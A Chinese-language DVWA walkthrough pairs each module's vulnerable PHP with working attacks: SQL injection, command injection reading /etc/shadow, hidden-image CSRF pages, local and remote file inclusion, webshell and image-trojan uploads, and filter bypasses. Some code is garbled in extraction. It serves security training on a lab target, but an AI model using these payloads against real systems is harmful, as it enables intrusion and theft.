DVWS 通关指南

声明:本文大部分参考来自https://www.freebuf.com/articles/web/123779.html
作者:lonehand

LOW

BRUTE Force(爆库)


if( isset( $_GET[ 'Login' ] ) ) {
    // Get username
    $user = $_GET[ 'username' ];

    // Get password
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysql_query( $query ) or die( '
' . mysql_error() . '
'
); if( $result && mysql_num_rows( $result ) == 1 ) { // Get users details $avatar = mysql_result( $result, 0, "avatar" ); // Login successful echo "

Welcome to the password protected area {$user}

"
; echo "{$avatar}\" />"
; } else { // Login failed echo "

Username and/or password incorrect.
"
; } mysql_close(); } ?>

分析代码,服务器只是验证了参数Login是否被设置(isset函数在php中用来检测变量是否设置,该函数返回的是布尔类型的值,即true/false),没有任何的防爆破机制,且对参数username,password,没有做任何过滤就直接带入数据库查询,并没有做相关的处理,所以可以尝试万能密码登录

万能密码

username = admin'#
password = all

username = admin' or '1'='1
password = all

DVWS 通关指南_第1张图片

burp爆破,top 500_user,top100_password
DVWS 通关指南_第2张图片
尝试在爆破结果中找到正确的密码,可以看到password的响应包长度(length)“与众不同”,可推测password为正确密码,手工验证登陆成功。

Command Injection

命令注入,是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的。PHP命令注入攻击漏洞是PHP应用程序中常见的脚本漏洞之一,国内著名的Web应用程序Discuz!、DedeCMS等都曾经存在过该类型漏洞

 
if( isset( $_POST[ 'Submit' ]  ) ) { 
    // Get input 
    $target = $_REQUEST[ 'ip' ]; 
    // Determine OS and execute the ping command. 
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) { 
        // Windows 
        $cmd = shell_exec( 'ping  ' . $target ); 
    } 
    else { 
        // *nix 
        $cmd = shell_exec( 'ping  -c 4 ' . $target ); 
    } 
    // Feedback for the end user 
    echo "
{$cmd}
"
; } ?>

相关函数介绍

stristr(string,search,before_search)

stristr函数搜索字符串在另一字符串中的第一次出现,返回字符串的剩余部分(从匹配点),如果未找到所搜索的字符串,则返回FALSE。参数string规定被搜索的字符串,参数search规定要搜索的字符串(如果该参数是数字,则搜索匹配该数字对应的ASCII值的字符),可选参数before_true为布尔型,默认为“false”,如果设置为“true”,函数将返回search参数第一次出现之前的字符串部分。

php_uname(mode)

这个函数会返回运行php的操作系统的相关描述,参数mode可取值”a” (此为默认,包含序列”s n r v m”里的所有模式),”s ”(返回操作系统名称),”n”(返回主机名),” r”(返回版本名称),”v”(返回版本信息), ”m”(返回机器类型)。

可以看到,服务器通过判断操作系统执行不同ping命令,但是对ip参数并未做任何的过滤,导致了严重的命令注入漏洞

漏洞利用

window和linux系统都可以用&&来执行多条命令

127.0.0.1&&net user

127.0.0.1&&cat /etc/shadow

127.0.0.1&& whoami

DVWS 通关指南_第3张图片

CSRF

CSRF,全称Cross-site request forgery,跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)



if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = mysql_real_escape_string( $pass_new );
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysql_query( $insert ) or die( '
' . mysql_error() . '
'
); // Feedback for the user echo "
Password Changed.
"
; } else { // Issue with passwords matching echo "
Passwords did not match.
"
; } mysql_close(); } ?>

可以看到,服务器收到修改密码的请求后,会检查参数password_new与password_conf是否相同,如果相同,就会修改密码,并没有任何的防CSRF机制(当然服务器对请求的发送者是做了身份验证的,是检查的cookie,只是这里的代码没有体现)。

漏洞利用

使用burp抓包,可以看到请求中包含了修改密码
DVWS 通关指南_第4张图片

1.将url copy下来

http://192.168.124.131/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change

当受害者点击了这个链接,他的密码就会被改成password

需要注意的是,CSRF最关键的是利用受害者的cookie向服务器发送伪造请求

2.短链接

可以使用短链接来隐藏URL(点击短链接,会自动跳转到真实网站):http://mrw.so/4NnRyv(内网环境无法查看)

虽然利用了短链接隐藏url,但受害者最终还是会看到密码修改成功的页面,所以这种攻击方法也并不高明

3.构造攻击页面

使用burp抓包之后,使用Generate CSRF POC 功能,可以生成简单的HTML代码,如下
DVWS 通关指南_第5张图片
DVWS 通关指南_第6张图片

但是此代码打开效果就一个button,需要点击才会触发,如果点击之后,那么受害者也会发现自己的密码被更改了,所以此方法只是用来测试是否存在CSRF,在得知请求之后可以使用如img,body标签,直接请求

<html>
  
  <body>
	<img src="http://192.168.124.131/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change" style="display:none"/>
	<h1>404h1>
	<h1>您访问的页面不存在h1>
  body>
html>
<html>
  
  <body>
	
	<h1>404h1>
	<h1>您访问的页面不存在h1>
  body>
  <script src="http://192.168.124.131/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change">script>
html>
<html>
  
  <body onload="getCSRF()">
	
	<h1>404h1>
	<h1>您访问的页面不存在h1>
  body>
  <script>
	function getCSRF(){
	  var img = document.createElement('img')
	  img.src = 'http://192.168.124.131/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change'
	  img.style.display = 'none'
	  document.body.appendChild(img)
	}
  script>
html>

File Inclusion

File Inclusion,文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)


// The page we wish to display
$file = $_GET[ 'page' ];
?>

可以看到,服务器端对page参数没有做任何的过滤和检查。

服务器期望用户的操作是点击下面的三个链接,服务器会包含相应的文件,并将结果返回。需要特别说明的是,服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。

漏洞利用

1.本地文件包含

构造url

http://192.168.124.131/vulnerabilities/fi/?page=/etc/passwd
DVWS 通关指南_第7张图片

成功读取/etc/passwd文件

由于环境是在docker中,shadow是 rw-r-----,当前不是root用户,所以修改权限 644 就可以读取shadow文件

DVWS 通关指南_第8张图片
DVWS 通关指南_第9张图片

2.远程文件包含

当服务器的php配置中,选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件,如果对文件来源没有检查的话,就容易导致任意远程代码执行。在远程服务器192.168.124.1上传一个info.txt文件,内容如下
DVWS 通关指南_第10张图片
构造url为

http://192.168.124.131/vulnerabilities/fi/?page=http://192.168.124.1/upload/upload/info.txt

DVWS 通关指南_第11张图片

成功在服务器上执行了phpinfo函数

为了增强隐蔽性可以对

http://192.168.124.1/upload/upload/info.txt进行编码
http://192.168.124.131/vulnerabilities/fi/?page=%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%32%34%2e%31%2f%75%70%6c%6f%61%64%2f%75%70%6c%6f%61%64%2f%69%6e%66%6f%2e%74%78%74

File upload

文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带来的危害常常是毁灭性的,Apache、Tomcat、Nginx等都曝出过文件上传漏洞

 

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '
Your image was not uploaded.
'
; } else { // Yes! echo "
{$target_path} succesfully uploaded!
"
; } } ?>

basename(path,suffix)

函数返回路径中的文件名部分,如果可选参数suffix为空,则返回的文件名包含后缀名,反之不包含后缀名。可以看到,服务器对上传文件的类型、内容没有做任何的检查、过滤,存在明显的文件上传漏洞,生成上传路径后,服务器会检查是否上传成功并返回相应提示信息。

可以看到文件上传没有做任何限制,可以上传任何文件,上传一句话拿到webshell

DVWS 通关指南_第12张图片
DVWS 通关指南_第13张图片
使用蚁剑直接连接,口令为Cknife,然后蚁剑就会通过向服务器发送包含Cknife参数的post请求,在服务器上执行任意命令,获取webshell权限。可以下载、修改服务器的所有文件

DVWS 通关指南_第14张图片

SQL Injection

SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害是巨大的,常常会导致整个数据库被“脱裤”,尽管如此,SQL注入仍是现在最常见的Web漏洞之一



if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysql_query( $query ) or die( '
' . mysql_error() . '
'
); // Get results $num = mysql_numrows( $result ); $i = 0; while( $i < $num ) { // Get values $first = mysql_result( $result, $i, "first_name" ); $last = mysql_result( $result, $i, "last_name" ); // Feedback for end user echo "
ID: {$id}
First name: {$first}
Surname: {$last}
"
; // Increase loop count $i++; } mysql_close(); } ?>

注入点是id,并且是字符型注入,服务端接收id参数,没有做任何处理,并且有回显,和报错详情,可以使用联合查询和报错注入以及时间盲注来实现手工注入
union

order by 猜列数
paylod: 1' order by 2#
爆当前库,版本信息
payload: -1' union select database(),version()#
爆库
payload: -1' union select 1,group_concat(schema_name) from information_schema.schemata#
爆表
payload: -1' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()#
爆列
payload: -1' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users'#

报错注入

updatexml()
payload: 1' and updatexml(1,concat(0x23,database()),1)#
payload: 1' and updatexml(1,concat(0x23,(select table_name from information_schema.tables where table_schema = database() limit 1 offset 0)),1)#

extractvalue()
payload: 1' and extractvalue(1,concat(0x23,database()))#
payload: 1' and extractvalue(1,concat(0x23,(select table_name from information_schema.tables where table_schema = database() limit 1 offset 0)))#

floor
payload: 1' and (SELECT 1 from  (SELECT count(*),concat(0x23, database(), 0x23,floor(rand(0)*2)) as x from information_schema.`COLUMNS` GROUP BY x)  as y)#
payload: 1' and (SELECT 1 from  (SELECT count(*),concat(0x23, (select table_name from information_schema.tables where table_schema = database() limit 0,1), 0x23,floor(rand(0)*2)) as x from information_schema.`COLUMNS` GROUP BY x)  as y)#

时间盲注

payload: 1' and if(1=1,sleep(2),0)#
payload: 1' and if(ascii(substr(database(),1,1))<101,sleep(2),1)#

SQL Injection (Blind)



if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '
User ID exists in the database.
'
; } else { // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '
User ID is MISSING from the database.
'
; } mysql_close(); } ?>

基于布尔盲注需要页面有回显,此时当页面查询出正确的值,$num>0,则是正确的回显,User ID exists in the database.
否则则是错误的回显,说明sql查询不存在回显为User ID is MISSING from the database

布尔盲注

payload: 1' and ascii(substr(database(),1,1))<101#

时间盲注

payload: 1' and if(1=1,sleep(2),1)#
payload: 1' and if(1=2,sleep(2),1)#

XSS( Reflected)



// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '
Hello ' . $_GET[ 'name' ] . '
'
; } ?>

可以看到,代码直接引用了name参数,并没有任何的过滤与检查,存在明显的XSS漏洞(反射型XSS)

在input框输入


可以构造url为

http://192.168.124.131/vulnerabilities/xss_r/?name=

对参数name进行url编码

http://192.168.124.131/vulnerabilities/xss_r/?name=%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%27%78%73%73%27%29%3c%2f%73%63%72%69%70%74%3e

XSS(Stored)

 
if( isset( $_POST[ 'btnSign' ] ) ) { 
    // Get input 
    $message = trim( $_POST[ 'mtxMessage' ] ); 
    $name    = trim( $_POST[ 'txtName' ] ); 
    // Sanitize message input 
    $message = stripslashes( $message ); 
    $message = mysql_real_escape_string( $message ); 
    // Sanitize name input 
    $name = mysql_real_escape_string( $name ); 
    // Update database 
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; 
    $result = mysql_query( $query ) or die( '
' . mysql_error() . '
'
); //mysql_close(); } ?>

相关函数介绍

trim(string,charlist)函数移除字符串两侧的空白字符或其他预定义字符,预定义字符包括、\t、\n、\x0B、\r以及空格,可选参数charlist支持添加额外需要删除的字符

mysql_real_escape_string(string,connection)函数会对字符串中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义

stripslashes(string)函数删除字符串中的反斜杠

可以看到,对输入并没有做XSS方面的过滤与检查,且存储在数据库中,因此这里存在明显的存储型XSS漏洞

message一栏输入,成功弹框:

name一栏前端有字数限制,抓包改为

成功弹框

Medium

BRUTE Force(爆库)



if( isset( $_GET[ 'Login' ] ) ) {
    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = mysql_real_escape_string( $user );

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = mysql_real_escape_string( $pass );
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysql_query( $query ) or die( '
' . mysql_error() . '
'
); if( $result && mysql_num_rows( $result ) == 1 ) { // Get users details $avatar = mysql_result( $result, 0, "avatar" ); // Login successful echo "

Welcome to the password protected area {$user}

"
; echo "{$avatar}\" />"
; } else { // Login failed sleep( 2 ); echo "

Username and/or password incorrect.
"
; } mysql_close(); } ?>

相比Low级别的代码,Medium级别的代码主要增加了mysql_real_escape_string函数,这个函数会对字符串中的特殊符号(x00,n,r,,’,”,x1a)进行转义,基本上能够抵御sql注入攻击,说基本上是因为查到说 MySQL5.5.37以下版本如果设置编码为GBK,能够构造编码绕过mysql_real_escape_string 对单引号的转义(因实验环境的MySQL版本较新,所以并未做相应验证);同时,$pass做了MD5校验,杜绝了通过参数password进行sql注入的可能性。但是,依然没有加入有效的防爆破机制(sleep(2)实在算不上)

和Low级别一致,使用burp爆破,采用usernametop_500和passwordtop_100的字典

Command Injection



if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "
{$cmd}
"
; } ?>

查看源码,这里将&&; 做了过滤,当出现&&;将会被代替为空格,使其不能命令执行,很明显这是黑名单策略,只要绕过黑名单就可以了

在windows中,&&&,||都可以执行多条命令

参数 描述
&& Command 1&&Command 2,先执行Command1 执行成功后再执行Command 2,否则不执行
& Command 1&Command 2,先执行Command 1,不管是否成功,都会执行Command 2
|| Command 1 || Command 2,当Command1 执行失败才会执行Command2,否则只执行Command1

在linux中,&&,;,|| 可以执行多条命令

参数 描述
&& Command 1&&Command 2,先执行Command1 执行成功后再执行Command 2,否则不执行
; Command 1&Command 2,先执行Command 1,不管是否成功,都会执行Command 2
|| Command 1 || Command 2,当Command1 执行失败才会执行Command2,否则只执行Command1

由于搭建的环境是linux,&&;都已经被过滤掉了,所以采用|| 第一个参数ip可以乱写一个ip,如127.0之类的,然后再添加相应的命令执行

payload: 127.0 || whoami

CSRF



if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = mysql_real_escape_string( $pass_new );
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysql_query( $insert ) or die( '
' . mysql_error() . '
'
); // Feedback for the user echo "
Password Changed.
"
; } else { // Issue with passwords matching echo "
Passwords did not match.
"
; } } else { // Didn't come from a trusted source echo "
That request didn't look correct.
"
; } mysql_close(); } ?>

相关函数说明

int eregi(string pattern, string string)

检查string中是否含有pattern(不区分大小写),如果有返回True,反之False。

可以看到,Medium级别的代码检查了保留变量 HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,及要访问的主机名,这里是192.168.124.130),希望通过这种机制抵御CSRF攻击

漏洞利用

过滤规则是http包头的Referer参数的值中必须包含主机名

那么可以将文件命名为受害者的ip.html 放在攻击者服务器中,诱导受害者点击,则可以成功修改密码

DVWS 通关指南_第15张图片

File Inclusion


// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>

可以看到,Medium级别的代码增加了str_replace函数,对page参数进行了一定的处理,将”http:// ”、”https://”、 ” …/”、”…\”替换为空字符,即删除。

漏洞利用

使用str_replace函数是极其不安全的,因为可以使用双写绕过替换规则。

str_replace函数会将http://删除,于是双写hthttp://tp://,成功执行远程命令。

同时,因为替换的只是“…/”、“…\”,所以对采用绝对路径的方式包含文件是不会受到任何限制的。

File upload



if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '
Your image was not uploaded.
'
; } else { // Yes! echo "
{$target_path} succesfully uploaded!
"
; } } else { // Invalid file echo '
Your image was not uploaded. We can only accept JPEG or PNG images.
'
; } } ?>

对上传文件的类型、大小做了限制,要求文件类型必须是jpeg或者png,大小不能超过100000B(约为97.6KB)。

方法一:组合拳

可以上传图片马,然后使用文件包含漏洞去访问图片,文件包含访问图片会将图片按PHP解析

上传图片马(size<100000B)

DVWS 通关指南_第16张图片

在文件包含模块中访问该文件

DVWS 通关指南_第17张图片

直接上蚁剑,在这里注意,访问文件包含模块中必须要在登录状态中,所以在HTTP头中添加Cookie,然后再连接
DVWS 通关指南_第18张图片
DVWS 通关指南_第19张图片
DVWS 通关指南_第20张图片

方法二:通过burp修改Content-Type 为image/png

DVWS 通关指南_第21张图片

发现文件上传成功,上蚁剑
DVWS 通关指南_第22张图片

SQL Injection



if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = mysql_real_escape_string( $id );

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysql_query( $query ) or die( '
' . mysql_error() . '
'
); // Get results $num = mysql_numrows( $result ); $i = 0; while( $i < $num ) { // Display values $first = mysql_result( $result, $i, "first_name" ); $last = mysql_result( $result, $i, "last_name" ); // Feedback for end user echo "
ID: {$id}
First name: {$first}
Surname: {$last}
"
; // Increase loop count $i++; } //mysql_close(); } ?>

mysql_real_escape_string函数对特殊符号 \x00,\n,\r,,’,”,\x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入

但是在注入点,id 为int型,当爆列名时需要加单引号,可以将其转换为十六进制

根据爆列名的特殊情况的payload

payload: -1 union select 1,group_concat(column_name) from information_schema.columns where table_name = 0x7573657273

DVWS 通关指南_第23张图片

SQL Injection (Blind)



if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = mysql_real_escape_string( $id );

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '
User ID exists in the database.
'
; } else { // Feedback for end user echo '
User ID is MISSING from the database.
'
; } //mysql_close(); } ?>

整形注入,布尔盲注,以及时间注入,类似于low级别,使用burp抓包改包

XSS( Reflected)



// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '
payload: 

XSS(Stored)


if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = mysql_real_escape_string( $message );
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = str_replace( '&mtxMessage=test&btnSign=Sign+Guestbook

High

BRUTE Force(爆库)



if( isset( $_GET[ 'Login' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = stripslashes( $user );
    $user = mysql_real_escape_string( $user );

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = mysql_real_escape_string( $pass );
    $pass = md5( $pass );

    // Check database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysql_query( $query ) or die( '
' . mysql_error() . '
'
); if( $result && mysql_num_rows( $result ) == 1 ) { // Get users details $avatar = mysql_result( $result, 0, "avatar" ); // Login successful echo "

Welcome to the password protected area {$user}

"
; echo "{$avatar}\" />"
; } else { // Login failed sleep( rand( 0, 3 ) ); echo "

Username and/or password incorrect.
"
; } mysql_close(); } // Generate Anti-CSRF token generateSessionToken(); ?>

High级别的代码加入了Token,可以抵御CSRF攻击,同时也增加了爆破的难度,通过抓包,可以看到,登录验证时提交了四个参数:username、password、Login以及user_token

每次服务器返回的登陆页面中都会包含一个随机的user_token的值,用户每次登录时都要将user_token一起提交。服务器收到请求后,会优先做token的检查,再进行sql查询

同时,High级别的代码中,使用了stripslashes(去除字符串中的反斜线字符,如果有两个连续的反斜线,则只去掉一个)、 mysql_real_escape_string对参数username、password进行过滤、转义,进一步抵御sql注入。

由于加入了Anti-CSRFtoken预防无脑爆破,这里就不推荐用Burpsuite了

Command Injection



if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);

    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "
{$cmd}
"
; } ?>

黑名单策略,观察|是|+空格被转换为空字符串,所以可以使用空格+|+命令来实现命令执行

payload : 127.0.0.1 |whoami
payload : 127.0.0.1|whoami

CSRF



if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = mysql_real_escape_string( $pass_new );
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysql_query( $insert ) or die( '
' . mysql_error() . '
'
); // Feedback for the user echo "
Password Changed.
"
; } else { // Issue with passwords matching echo "
Passwords did not match.
"
; } mysql_close(); } // Generate Anti-CSRF token generateSessionToken(); ?>

这里对CSRF进行了限制,使用了token技术,验证前端传去的token是否与服务端发送给前端的token是否一致,从而限制了CSRF

组合拳,构造攻击页面,使用xss拿到token,可以构造CSRF攻击

File Inclusion


// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}
?>

可以看到,High级别的代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件。

漏洞利用

file协议,只要知道绝对路径,就可以包含本地文件

payload: file:///var/www/html/hackable/uploads/1.jpg

DVWS 通关指南_第24张图片

upload



if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '
Your image was not uploaded.
'
; } else { // Yes! echo "
{$target_path} succesfully uploaded!
"
; } } else { // Invalid file echo '
Your image was not uploaded. We can only accept JPEG or PNG images.
'
; } } ?>

strrpos(string,find,start)

函数返回字符串find在另一字符串string中最后一次出现的位置,如果没有找到字符串则返回false,可选参数start规定在何处开始搜索。

getimagesize(string filename)

函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错。

可以看到,High级别的代码读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是”.jpg”、”.jpeg” 、”*.png”之一。同时,getimagesize函数更是限制了上传文件的文件头必须为图像类型

组合拳: 利用文件包含漏洞,上传图片马,中国蚁剑直接连接

制作图片马

copy 1.jpg/b + 1.php/a hack.jpg

上传hack.jpg之后,在文件包含处使用读取文件,并解析成php代码,中国蚁剑直接连接

SQL Injection



if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysql_query( $query ) or die( '
Something went wrong.
'
); // Get results $num = mysql_numrows( $result ); $i = 0; while( $i < $num ) { // Get values $first = mysql_result( $result, $i, "first_name" ); $last = mysql_result( $result, $i, "last_name" ); // Feedback for end user echo "
ID: {$id}
First name: {$first}
Surname: {$last}
"
; // Increase loop count $i++; } mysql_close(); } ?>

这里存在字符型注入,并且当sql语句执行错误,则会永久重定向到错误页面,但是这里的参数id没有做任何处理,那么则可以使用联合注入,并回显到当前页面

payload : -1' union select 1,2#

SQL Injection (Blind)



if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '
User ID exists in the database.
'
; } else { // Might sleep a random amount if( rand( 0, 5 ) == 3 ) { sleep( rand( 2, 4 ) ); } // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '
User ID is MISSING from the database.
'
; } mysql_close(); } ?>

这里也是同样的为字符型注入,id参数未做任何转义处理,直接写入sql查询

payload: 1' and ascii(substr(database(),1,1)) <101 #

XSS( Reflected)



// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "
Hello ${name}
"
; } ?>

这里函数用正则表达式的搜索和替换,这使得双写绕过、大小写混淆绕过(正则表达式中i表示不区分大小写)不再有效绕过了

你可能感兴趣的:(学习)